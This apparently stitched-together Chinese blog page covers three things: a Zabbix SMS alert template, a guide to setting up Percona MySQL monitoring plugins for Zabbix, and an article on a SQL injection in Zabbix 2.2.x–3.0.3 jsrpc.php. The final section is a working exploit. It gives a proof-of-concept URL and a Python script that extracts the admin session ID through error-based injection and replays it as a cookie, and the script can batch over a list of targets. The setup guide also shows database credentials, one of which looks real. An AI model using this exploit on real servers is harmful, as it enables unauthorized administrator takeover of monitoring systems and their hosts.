故障{TRIGGER.STATUS},服务器:{HOSTNAME1}发生: {TRIGGER.NAME}故障!

报警内容如下(由于开发那边的调整规则,报警内容换行后就发信失败,所以这里只能讲报警内容放在一行)

告警主机:{HOSTNAME1}, 告警时间:{EVENT.DATE} {EVENT.TIME}, 告警等级:{TRIGGER.SEVERITY}, 告警信息: {TRIGGER.NAME}, 告警项目:{TRIGGER.KEY1}, 问题详情:{ITEM.NAME}:{ITEM.VALUE}, 当前状态:{TRIGGER.STATUS}:{ITEM.VALUE1}, 事件ID:{EVENT.ID}

手机短信报警截图如下:

未分类

发信后,可以查看zabbix的web界面里的”报表”->“动作日志”

未分类

***************当你发现自己的才华撑不起野心时,就请安静下来学习吧***************

zabbix配置percona的插件获取更详细的mysql监控信息

一、前言

前段时间用了下zabbix+percona的插件监控MySql,感觉不错,内置了190多个监控项,40多个图形展示。对MySql的监控比较全面,自己导入模版之后稍微根据自己的需求进行修改就可以使用。

https://www.percona.com/doc/percona-monitoring-plugins/1.1/zabbix/index.html

二、部署

部署前提:你已经在MySql数据库添加安装好了zabbix-agent环境,并且在zabbix-server端添加agent

1、安装percona仓库

rpm -ivh http://www.percona.com/downloads/percona-release/redhat/0.1-3/percona-release-0.1-3.noarch.rpm

2、部署监控环境

Percona的监控插件是php编写的。通过php连接MySql来获取相关数据,所以需要你在本地安装php环境和php-MySql环境

yum -y install php php-mysql

3、安装percona的zabbix模版

yum -y install percona-zabbix-templates

安装完成生成如下文件

# rpm -ql percona-zabbix-templates
/var/lib/zabbix/percona
/var/lib/zabbix/percona/scripts
/var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh
/var/lib/zabbix/percona/scripts/ss_get_mysql_stats.php
/var/lib/zabbix/percona/templates
/var/lib/zabbix/percona/templates/userparameter_percona_mysql.conf
/var/lib/zabbix/percona/templates/zabbix_agent_template_percona_mysql_server_ht_2.0.9-sver1.1.6.xml

可以看到他的组成部分有一个shell脚本,一个php脚本,一个zabbix的配置文件,和一个Zabbix 模版的xml。下面我们需要引用配置文件,并在Zabbix上来导入该模版。

4、复制用户自定义配置项到zabbix配置目录

cp /var/lib/zabbix/percona/templates/userparameter_percona_mysql.conf /etc/zabbix/zabbix_agentd.d/

5、让php可以连接到MySql上

授权监控用户

MariaDB [(none)]> grant select,process,replication client on *.* to zabbix@'192.168.10.31' identified by 'zabbixpass';
MariaDB [(none)]> flush privileges;

修改php文件

vim /var/lib/zabbix/percona/scripts/ss_get_mysql_stats.php
$mysql_user = 'zabbix';
$mysql_pass = 'zabbixpass';

修改监控脚本HOST选项,为MySql服务器IP地址

# vim /var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh
HOST=192.168.10.31

6、测试监控脚本是否可用

# /var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh gg
405647

7、导入zabbix模版

将/var/lib/zabbix/percona/templates/zabbix_agent_template_percona_mysql_server_ht_2.0.9-sver1.1.6.xml下载到本地,然后在zabbix上导入

未分类

下面你就可以给你的MySQL数据库指定监控模板了,由于篇幅原因就不在截图。

三、监控结果展示

未分类

未分类

未分类

未分类

未分类

Zabbix 3使用Percona Monitoring Plugins监控MySQL

因为Zabbix自带的MySQL监控没有提供可以直接使用的Key,所以一般不采用,业界的同学们都使用Percona Monitoring Plugins 监控MySQL的方式。

1、MySQL客户端需要的系统环境

percona监控zabbix的脚本是使用php写的,所以需要准备好php运行环境,这里直接用yum安装就可以满足要求了:

$ yum install zabbix-agent php php-mysql
$ php -v
PHP 7.0.9 (cli) (built: Jul 20 2016 18:08:08) ( NTS )
$ mysql --version
mysql  Ver 14.14 Distrib 5.5.51, for Linux (x86_64) using readline 5.1

2、安装percona-zabbix-templates

$ yum install https://www.percona.com/downloads/percona-monitoring-plugins/1.1.6/percona-zabbix-templates-1.1.6-1.noarch.rpm

也可配置Percona yum仓库后安装,建议配置percona的yum源,因为作为一个DBA你肯定会用到percona toolkit套件。

$ yum install https://www.percona.com/redir/downloads/percona-release/redhat/latest/percona-release-0.1-3.noarch.rpm
$ yum install percona-zabbix-templates

3、percona-zabbix-templates配置文件介绍

$ rpm -ql percona-zabbix-templates
# 监控获取MySQL状态的;
/var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh

# 配置连接数据库用户名密码的,用shell来调用PHP;
/var/lib/zabbix/percona/scripts/ss_get_mysql_stats.php

# Zabbix-agent端监控MySQL的配置文件;
/var/lib/zabbix/percona/templates/userparameter_percona_mysql.conf

# Zabbix模板文件;
/var/lib/zabbix/percona/templates/zabbix_agent_template_percona_mysql_server_ht_2.0.9-sver1.1.6.xml

4、配置zabbix-agent

把配置文件复制到zabbix-agent目录下。

$ cp /var/lib/zabbix/percona/templates/userparameter_percona_mysql.conf /etc/zabbix/zabbix_agentd.d/

默认zabbix-agent配置文件已经把/etc/zabbix/zabbix_agentd.d/目录include进去了。

$ grep Include /etc/zabbix/zabbix_agentd.conf | grep -v "^#"
Include=/etc/zabbix/zabbix_agentd.d/

5、重新启动zabbix-agent即可

# CentOS6
$ service zabbix-agent restart

# CentOS7
$ systemctl restart zabbix-agent

6、zabbix-agent上配置MySQL连接

首先如果你要监控的MySQL不是默认的端口3306(是就忽略此步骤),则需要修改/var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh脚本,小心被坑。修改端口号码文件:

# 这里要先建好这个文件,否则会报rm权限错误;
$ touch /tmp/localhost-mysql_cacti_stats.txt:3307
$ chown -R zabbix.zabbix /tmp/localhost-mysql_cacti_stats.txt:3307

# 修改端口脚本;
$ vim /var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh
CACHEFILE="/tmp/$HOST-mysql_cacti_stats.txt "
换成:
CACHEFILE="/tmp/$HOST-mysql_zabbix_stats.txt:3307"

TIMEFLM=`stat -c %Y /tmp/$HOST-mysql_cacti_stats.txt`
换成:
TIMEFLM=`stat -c %Y /tmp/$HOST-mysql_zabbix_stats.txt:3307`

如果你的MySQL是编译安装的,执行客户端命令需要绝对路径的话,你可能还需要更改脚本中的执行命令语句:

RES=`HOME=~zabbix mysql -e 'SHOW SLAVE STATUSG' | egrep '(Slave_IO_Running|Slave_SQL_Running):' | awk -F: '{print $2}' | tr 'n' ','`
换成:
RES=`/usr/local/mysql/bin/mysql -e 'SHOW SLAVE STATUSG' | egrep '(Slave_IO_Running|Slave_SQL_Running):' | awk -F: '{print $2}' | tr 'n' ','`

(创建监控MySQL的用户和密码。

mysql> GRANT SELECT,PROCESS,SUPER,REPLICATION CLIENT ON *.* TO 'zabbixmoniter'@'localhost' IDENTIFIED BY "123456";
mysql> flush privileges;

然后PHP脚本连接MySQL的用户名和密码。

$ cat /var/lib/zabbix/percona/scripts/ss_get_mysql_stats.php
$mysql_user = 'zabbixmoniter';
$mysql_pass = '123456';
$mysql_port = 3306;

测试脚本

$ bash /var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh gg
908

7、配置Zabbix Server 3.0

先去percona官网:https://www.percona.com/downloads/percona-monitoring-plugins/

下载Percona Monitoring Plugins最新tar.gz源码包。解压里面有cacti、nagios、zabbix不同监控模块,找到zabbix/templates/目录,然后通过Zabbix Web界面 (Configuration -> Templates -> Import) 导入XML模板,注意要另外选择上Screens。最后配置主机关联上Percona MySQL Server Template模板即可。

针对Zabbix server 3.0导入模板文件时可能会报错:

Invalid tag “/zabbix_export/date”:“YYYY-MM-DDThh:mm:ssZ” is expected.

经过核查,这个原因是模版错误,是因为percona官方上1.1.6还是zabbix2.0的版本模版,所以需要跟新上来匹配zabbix3.0的模版规范,而且这个zabbix模版还是直接copy的cacti模版,比较粗糙,用more查看就可以看到里面都是cacti的内容,可见percona官网对zabbix也不是很重视嘛,至少不如cacti那样重视的。

解决:网上有人在原来的zabbix_agent_template_percona_mysql_server_ht_2.0.9-sver1.1.6_1.xml之上进行修改,改完后就可以import导入进去了,(下载地址:http://jaminzhang.github.io/soft-conf/Zabbix/zbx_percona_mysql_template.xml)。

模板导入进去之后,接下来要做的就是对主机进行添加模板了,当然这属于zabbix的知识了,自行看博客zabbix章节。percona这套MySQL监控项很多,需要好好细看才能理解。

8、MySQL从库监控Slave配置

先在mysql slave的agent里面需要check下看是否生效:

$ sh /var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh running-slave                                                                         
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)
0

所以需要配置下访问mysql的一些基本参数:

$ cat /etc/my.cnf
[mysql]
user=zabbixmoniter
password=ys_ipowerlong0418
socket=/usr/local/mysql/mysql.sock

再check试试,就可以看到了:

$ sh /var/lib/zabbix/percona/scripts/get_mysql_stats_wrapper.sh running-slave
1

ZABBIX高危漏洞,无需授权登陆即可完成控制(附利用工具)

  • zabbix是一个开源的企业级性能监控解决方案。

  • 官方网站:http://www.zabbix.com

  • zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

  • 影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)

漏洞测试

在您的zabbix的地址后面加上如下url:

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1

输出结果,出现如下内容(包含:You have an error in your SQL syntax;)表示漏洞存在:

<div class="flickerfreescreen" data-timestamp="1471054088083" id="flickerfreescreen_1"><table class="list-table" 
id="t57ae81946b8cb"><thead><tr><th class="cell-width">Timestamp</th><th>Value</th></tr></thead><tbody><tr 
class="nothing-to-show"><td colspan="2">No data found.</td></tr></tbody></table></div><div class="msg-bad"><div 
class="msg-details"><ul><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES 
(39, 1, 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query 
[INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (40, 1, 'web.item.graph.stime', 
'20160813041028', 3, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL 
server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles 
(profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an 
error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use 
near ''3297)' at line 1]</li></ul></div><span class="overlay-close-btn" onclick="javascript: 
$(this).closest('.msg-bad').remove();" title="Close"></span></div>

以上为仅为漏洞验证测试方式。

攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。

有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。

利用工具,可自动判断Session是否可用

未分类

import urllib,sys,urllib2,urllib
def cookie(url):
    poc='/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from (select count(*),concat(floor(rand(0)*2), (select sessionid from sessions where userid=1 and status=0 limit 1))x from information_schema.character_sets group by x)y)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color='
    body= urllib.urlopen(url+poc).read()
    cookie=body.split('Duplicate entry')[1].split('for key')[0][3:-2]
    return cookie
def test(cookie,url):
    url=url+'proxies.php'
    req=urllib2.Request(url)
    cook="zbx_sessionid=%s" % cookie
    req.add_header('Cookie', cook)
    response=urllib2.urlopen(req)
    data=response.read()
    if data.find('Access denied.') < 0:
        print "OK-->",cookie
    else:
        print 'ERROR'
if len(sys.argv)==4:
    for i in open(sys.argv[3]).readlines():
        print i
        test(cookie(i),i)
else:
    print sys.argv[1]
    test(cookie(sys.argv[1]),sys.argv[1])